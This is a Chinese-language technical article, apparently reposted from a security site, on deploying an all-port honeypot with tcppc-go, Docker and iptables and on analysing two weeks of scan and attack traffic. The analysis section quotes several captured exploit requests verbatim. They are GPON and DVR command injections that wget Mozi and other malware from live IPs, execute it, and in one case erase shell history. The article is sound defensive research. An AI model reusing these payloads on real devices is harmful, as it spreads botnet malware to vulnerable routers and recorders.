黑客大神總結：全端口蜜罐的部署過程與數據分析

一、引言

一般而言，大部分蜜罐都是針對某種服務來運行的，例如前文提到的ssh蜜罐cowrie。通過模擬該種服務的正常協議交互，完成握手階段，並進行數據傳輸，基於這種蜜罐可以記錄攻擊者的行為。但前文提到，mirai病毒定位目標是通過隨機的IP算法生成；同時每天雲主機的SSH端口也收到各種爆破流量，由此本人萌生了一個想法，那麼是不是還有其他端口也在受到掃描或者攻擊。要獲取這些信息，顯然使用tcpdump並不可行，雖然能收到各種掃描的流量，但沒有系統協議棧的支撐，並不能得知連接的負載；而如果使用開啟多個端口又不現實，畢竟端口數量這麼多，管理起來也不方便。要滿足上述需求，需要一個能夠接受全端口流量的蜜罐。

本文基於上述背景，部署一款全端口蜜罐，並對半個月時間內收到的日誌進行簡單分析。整體的文章結構如下：首先介紹使用tcppc-go及docker搭建一個可以記錄連接信息的蜜罐，然後利用iptables將端口轉發至特定端口，最後分析採集到的兩週的數據。

二、全端口蜜罐的部署

2.1 需求分析

首先來具體說明一下，對於這款蜜罐的具體需求。

\1. 能夠接受客戶端（攻擊或掃描）的連接，不需要進行具體的某種協議的交互，能夠接收並記錄用戶發送過來的數據，持續運行只要客戶端還在發送數據；

\2. 能夠記錄日誌，包括連接信息，數據包內容等；

\3. 能夠接收系統的全端口流量。

本著不重複造輪子的思想，在github上搜索"all port honeypot"，找到了一款能夠滿足功能的程序tcppc-go。除了能滿足上述需求，同時還能支持UDP協議，甚至可以加載SSL證書，進行SSL握手。本次部署過程中不考慮SSL及UDP。其github主頁上也介紹瞭如何能夠捕獲全端口的數據負載，通過iptables進行轉發，但本文沒有采用他的命令，請讀者謹慎嘗試。

2.2 部署過程

tcppc-go是一款使用go語言編寫的程序，雖然本人有一些go語言基礎，但是不想折騰基礎語言環境，就藉助docker的方式來搭建這個蜜罐，這樣也方便沒有go基礎的讀者直接進行部署。因此，本次部署過程中，與上一篇cowrie蜜罐相同，採用docker部署的方式，但不進行數據展示，直接輸出原始日誌，本次蜜罐部署的環境如下：

2.2.1 構造鏡像

Dockerfile是構造鏡像的模板，docker會根據Dockerfile的程序逐漸構造鏡像，關於具體的指令，下面的Dockerfile已經添加了簡單的註釋，想深入瞭解命令使用的讀者可以自行搜索。

###使用golang作為基礎鏡像提供程序運行環境
FROM golang
#設置時區變量
ENV TZ=Asia/Shanghai
#調整時區,從github拉取相應源碼，並編譯
run ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone && \
go get github.com/md-irohas/tcppc-go && \
cd /go/src/github.com/md-irohas/tcppc-go && \
go build main.go
#跳轉至生成的程序位置
WORKDIR /go/bin/
#執行命令
cmd ["./tcppc-go", "-T","86400","-w","log/tcppc-%Y%m%d.jsonl"]

上述Dockerfile的主要構造流程如下。首先，拉取golang作為基礎鏡像，為程序提供go語言環境；然後，在設置了時區變量之後，將時區調整為上海市區，如果不調整，默認會比上海時間慢8個小時；其次，利用go命令獲取程序源碼；最後，進入相應路徑進行編譯。

新創建一個文件夾dockertest（後續操作均將在該路徑下執行），並按照上述內容編輯Dockerfile文件，在文件夾下執行命令:`docker build -t allport:1.0 .`

其中-t參數是設置最終生成鏡像的名字與版本號，可自行調整；程序會運行一段時間，大致上需要3-5分鐘時間，主要卡頓在拉取go基礎鏡像和獲取github源碼過程中。

上述命令會輸出以上信息，輸出這些信息表明蜜罐已經構建成功；測試鏡像是否成功構造並能運行，首先創建log文件夾，用來後續掛載文件夾到鏡像中，並保存日誌，執行以下命令。

docker -it -d --restart=always --net=host -v `pwd`/log:/go/bin/log/ all_port:1.0

此時可以查看到log文件夾下已經生成了log文件。非root用戶可能需要調整文件夾的權限。docker運行命令中，利用--net=host讓鏡像使用宿主機的網絡，這樣可以直接綁定端口到系統上，後續利用iptable時，只需要指定端口。 tcppc-go會默認綁定tcp/udp端口號12345，可以通過telnet 0 12345進行測試，隨便敲擊命令，即可在日誌中查看到日誌。

按照上述步驟能夠出現以上信息，說明鏡像已經構造成功，並且能夠成功運行並獲取日誌。但是當前只是開啟的一個端口進行監聽，下面來介紹通過iptables將本機端口轉發至tcppc-go的12345端口。

2.2.2 調整iptables進行端口轉發

請注意，利用iptables如果命令錯誤可能導致機器無法訪問，或者影響其他正常服務，特別是SSH端口。一定要注意自己的命令是否正確。最好是在自己的測試機或者虛擬機上先測試命令，保證命令正確無影響。以下命令均在本人的機器上測試沒有問題，但是每個人的情況都不同，請一定謹慎。

先來解釋一個最簡單的命令iptables -t nat -A PREROUTING -p tcp -i eth0 --dport 5000:8000 -j REDIRECT --to-ports 12345。

下面來說明一下命令的具體內容，該命令將在防火牆的nat表（-t nat）中prerouting（-A PREROUTING）位置創建一條規則，這條規則針對發往網卡eth0（-i eth0）tcp協議（-p tcp）的流量，其中端口範圍是5000-8000（--dport 5000:8000）的將重定向至12345端口（-j REDIRECT --to-ports 12345）。

執行命令（外網IP），telnet your_machine_ip 5000，可以發現成功聯通；上述命令不支持在部署蜜罐的本機進行使用"0.0.0.0"或者回環地址測試，會回顯拒絕服務的信息，這是由於iptables的生效位置導致。

雖然上述命令可以將端口轉發至蜜罐的端口，但是輸出的蜜罐日誌中卻缺失了端口信息，所有的流量都呈現為訪問12345端口，這樣不利於具體的端口行為分析。所以需要調整上述命令，來記錄端口轉發過程日誌。下面來具體說明在實際部署過程中採用的命令。為了驗證命令的可行性，會將原有蜜罐的防火牆規則清楚，重新逐步加載規則。

執行命令查看nat表中現有的規則，iptables -t nat -L -nv，得到以下圖片中輸出。

上圖輸出中的最後一條規則正是剛剛執行的命令生成的，先執行命令把這條規則刪除，執行命令iptables -t nat -D PREROUTING 5，其中5對應的這條規則的編號，可以通過以下命令（iptables -t nat -L -nv --line-numbers）來獲取編號。在後續中，如果發現規則有問題，可以按照編號刪除相應的規則，一定要注意不要把正常的規則刪除。

一、開啟iptables日誌

\1. 在文件/etc/rsyslog.conf中添加一行內容，kern.info /var/log/iptables.log

\2. 為了讓日誌和ssh日誌一樣回滾，將文件名/var/log/iptables.log加入文件/etc/logrotate.d/syslog中，配置後文件內容如下。

\3. 執行重啟服務service rsyslog restart使配置生效。

二、iptables日誌規則

執行以下兩條命令。

iptables -t nat -A PREROUTING -p tcp -i eth0 --dport 5000:8000 -j LOG --log-level 6 --log-prefix "port_for"
iptables -t nat -A PREROUTING -p tcp -i eth0 --dport 5000:8000 -j REDIRECT --to-ports 12345

下面簡單說明一下上述命令的含義。第一條命令是將進來的流量進行記錄，日誌等級6對應前面的kern.info，日誌前綴為port_for，無意義，可自行定義。第二條命令將流量重定向至端口12345。經過測試，上述兩條命令如果順序顛倒，雖然能進行重定向，但沒有日誌輸出。

測試：執行命令telnet your_machine_ip 5000，可以在/var/log/iptables.log中看到實時輸出。

其他端口只需要修改端口範圍即可，執行命令類似；如果命令都正確，卻無法連通，請查看是否是雲主機沒有開放端口的原因。

2.2.3 部署過程小結

在前面的內容中，本文描述瞭如何通過docker部署tcppc-go程序，並簡單介紹了利用iptables完成端口轉發功能。請在自己機器上部署的讀者在執行iptables命令時，一定要謹慎，最好是現在虛擬機或者測試機上進行命令的測試，以免造成不必要的麻煩。

三、全端口蜜罐的數據分析

前文中，已經對全端口蜜罐的部署過程進行了詳細的描述。按照步驟部署，現在可以擁有兩個源頭的數據，一個是由iptables進行端口轉換過程中，生成的端口轉換日誌（TCP連接）；一個是由tcppc-go程序採集到的連接信息（包含負載）。下面利用python分別來對這兩方面數據進行分析，主要用到的第三方庫是pandas數據分析庫，同時採用jupyter-notebook的形式方便分析過程。分析的日誌時間為從2020年5月24日至2020年6月7日，其中在5月24日進行部署，日誌僅為半天的數據量，其餘時間均為整天的數據。本部分分析集中於數據的分析，對代碼實現不進行詳細描述，後文中提供github地址，包含jupyter的分析過程。

注：因為本人的雲主機中還承載著SSH/蜜罐（22/2222端口），以及SSH蜜罐（23/2323)，這部分服務由之前一篇文章中介紹的cowrie蜜罐處理，下文中的日誌中沒有體現這部分日誌，可能會在日誌數量上有偏差。利用iptables轉發範圍包括（24-2221），（2324-65535）。

3.1 iptables端口轉化日誌數據分析

圖1. 日誌數量（按天）

從圖1中可以看出，在部署蜜罐之後，日誌數量在兩天後趨於穩定，如果排除5月24日不計，剩餘14天每天的平均日誌數量為35000左右。

圖2. 去重日誌數量

雖然每天的日誌數量非常多，但是從去重的ip/端口數量（圖2）上來看，每天的IP數量趨於穩定，大致在2400左右；端口數量較多在14000左右。

圖3. 日誌中訪問端口排序

圖3展示了在15天日誌中，訪問最多的是445端口，配合最近爆出的SMB漏洞，這個端口的訪問量這麼高，不難理解；其次是8088（大概率是WEB服務）、1433（SQL Server默認端口）。圖3主要針對所有日誌的端口進行排序，下面將每個訪問的端口的ip進行去重後，來查看訪問最高的端口。

圖4. 日誌中訪問端口（IP去重）排序

從圖4中可以看出，在經過IP去重後再排序，第一個端口和第二個端口的差距沒有那麼懸殊了，通過第二第三多的端口也發生了變化。以上圖片中均採用天為單位進行說明，下面採用時間區間比較小的30min中來說明。以下去重意義，是指在時間區間內，對IP或者端口分別進行去重。

圖5. 日誌數量（每30分鐘）

從圖5中可以看出，IP數量趨於穩定，但日誌數量不穩定，且存在波動；去重日誌中，端口數量多於IP數量，存在掃描行為或者同一個IP連接多個端口的行為。如果沒有掃描行為，那麼源IP與目的端口數量應該是相當的；日誌數量明顯高於其他兩個數量的時間點，說明存在某個IP對某個端口（或多個端口）進行了多次訪問，產生了多次日誌。上圖的時間廣度太大了，下面來通過一天的日誌來說明這個前面的結論。

圖6. 25號日誌數量

在圖6中的標識中，類型1橢圓處，日誌數量與目的端口數量激增，且數量相當，說明存在某個IP在進行端口掃描行為；類型2的橢圓處，IP數量與端口數量相當，但日誌數量比前者多，說明了某個IP對某個端口（或多個端口）進行了多次訪問。雖然類型2中，也有可能有IP在進行小規模的端口掃描，但相對來說，類型1的這種現象更能說明有IP進行端口掃描的行為。為了驗證結論，這裡將類型1位置時間的日誌打印出來，具體可以從圖7中看出，的確存在掃描行為。

圖7. 端口掃描行為的日誌

圖8. 國家分佈

圖8繪製了全部日誌地域分佈，分析過程中採用了第三方庫geoip2。在國家分佈中，除了中國作為第一位，俄羅斯和荷蘭日誌量最多，本人在部署HTTP代理蜜罐過程中也發現了這樣的情況，存在大量俄羅斯的IP在進行訪問。

3.2 TCP連接數據負載分析

在處理TCP負載日誌中發現，tcppc-go生成的日誌為json格式，且數據負載已經由base64進行編碼，雖然pandas支持從json文件中獲取數據，但有些數據類型，例如數組，並不能完美支持。本次主要查看TCP負載中一些攻擊的流量，在對數據負載進行解碼之後，直接按照某些特殊字符查找。按照之前部署ssh蜜罐的經驗，很多通過wget進行惡意樣本的下載；同時HTTP協議中，有些存在webshll服務。下面就按照兩個字符串進行分析："wget"和"shell"。這部分日誌數量非常大，這裡僅僅貼出一些作為示例。

POST /GponForm/diag_Form?images/ HTTP/1.1\r\nHost: 127.0.0.1:80\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: Hello, World\r\nContent-Length: 118\r\n\r\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://116.114.95.192:58149/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0

經過搜索，上述載荷是利用GPON漏洞[1]。

GET /cgi-bin/supervisor/CloudSetup.cgi?exefile=cd%20/tmp;%20wget%20http://23.254.227.92/bins.sh%20-O%2012.bins.sh;curl%20-O%20http://23.254.227.92/bins.sh%20-O%2011.bins.sh;%20chmod%20777%20*;%20sh%2011.bins.sh;%20sh%2012.bins.sh HTTP/1.0\r\n\r\n

DVR漏洞[2]。

GET /shell?cd%20/tmp;wget%20http:/%5C/23.254.164.76/ally.sh%20-O%20gf;%20chmod%20777%20gf;./gf%20DVR HTTP/1.1\r\nHost: xx.xx.xx.xx:5500\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.el6.x86_64\r\n\r\n
GET /shell?cd%20/tmp;wget%20http:/%5C/185.172.110.227/sys6;%20chmod%20777%20sys6;%20./sys6 HTTP/1.1\r\nHost: xx.xx.xx.xx:5502\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.29.2.el6.x86_64\r\n\r\n
GET /shell?cd%20/tmp%20%7C%7C%20cd%20/run%20%7C%7C%20cd%20/;%20wget%20http://185.103.110.146/axisbins.sh;%20chmod%20777%20axisbins.sh;%20sh%20axisbins.sh;%20rm%20-rf%20axisbins.sh;rm%20-rf%20*;%20clear;history%20-c;%20clear;history%20-w HTTP/1.1\r\nHost: xx.xx.xx.xx:5501\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.el6.x86_64\r\n\r\n
GET /shell?cd+/tmp;rm+-rf+*;wget+http://112.17.89.155:51082/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1\r\nUser-Agent: Hello, world\r\nHost: xx.xx.xx.xx:80\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection: keep-alive\r\n\r\n

上述命令不清楚是什麼產品的漏洞。但是這些負載都是TCP的首包，說明這些攻擊不需要進行交互，他們的原理應該與mirai殭屍網絡病毒一致，通過隨機生成IP來攻擊主機。同時，日誌中存在各種爬蟲以及服務探測的流量，這裡不再一一列舉。

3.3 數據分析總結

本小節針對採集到的日誌進行了分析，主要針對端口轉換過程中產生的端口日誌進行了詳細的分析，分析了日誌數量，端口分佈，地域分佈等，可以發現掃描行為，且知道被探測端口最多的是哪些；對於負載分析部分，主要利用已知的兩種指紋wget和shell直接進行匹配，可以發現非常多的日誌，這些連接沒有前期交互，直接就開始下載惡意樣本。

四、 總結

本篇文章主要針對全端口蜜罐的部署以及數據分析展開。利用iptables配合開源軟件tcppc-go記錄日誌，然後詳細分析了端口轉換日誌，並簡單列舉了幾種攻擊樣本。通過本文的分析，可以發現一臺存活的雲主機其受到的流量行為分佈：端口、訪問IP、地域，以及查看各種負載；通過端口轉發日誌可以看到端口掃描行為，通過負載信息，可以看到存在各種樣本。但本文中的方法主要是進行離線分析，後續如果有機會再開發實時顯示的系統；同時利用非結構數據庫來存儲負載信息。

本文所使用的dockerfile以及分析端口轉發日誌的jupyter分析過程已經上傳至allporthoneyport。

參考文章

1(https://zhuanlan.zhihu.com/p/36741900?utm_source=com.huawei.works)

2(https://www.seebug.org/vuldb/ssvid-92493)

原文地址：https://www.freebuf.com/articles/network/240041.html